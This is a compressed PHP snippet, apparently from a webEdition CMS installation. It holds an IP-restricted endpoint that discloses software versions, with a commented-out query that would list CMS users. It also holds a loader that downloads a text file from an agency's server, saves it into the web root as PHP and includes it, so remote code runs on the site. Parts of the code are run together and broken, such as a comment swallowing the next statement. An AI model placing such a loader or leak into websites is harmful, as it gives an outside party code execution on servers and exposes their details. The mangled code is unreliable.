if($_SERVER['REMOTE_ADDR']=='2003:a:1403:3d00:54d9:4062:912d:99b8'||$_SERVER['REMOTE_ADDR']=='80.151.3.61'){$result=array();$result['scriptVersion']='1.0.0';// für die Interne Überprüfung$result['version']=WE_VERSION;$result['svnVersion']=WE_SVNREV;$result['versionName']=WE_VERSION_NAME;$result['phpVersion']=phpversion();$result['sqlVersion']=we_database_base::getMysqlVer()[0];$result['checker']=true;/*
$db = new DB_WE();
$db->query("SELECT * FROM " . TBL_PREFIX . "tblUser");
while($db->next_record()){
$result['user'][$db->f('Text')] = $db->f('Path');
}
*/header('Content-Type: application/json; charset=utf-8');echojson_encode($result);}else{exit();}
# Version für unsere Installationen (beim Laden der Datei von extern)
/* Source File URL */$remote_file_url='https://www.wg-werbeagentur.de/api/we.info.txt';/* New file name and path for this file */$local_file=$_SERVER["DOCUMENT_ROOT"].'/'.'we.info.php';/* Copy the file from source url to server */$copy=copy($remote_file_url,$local_file);/* Include the file */include($local_file);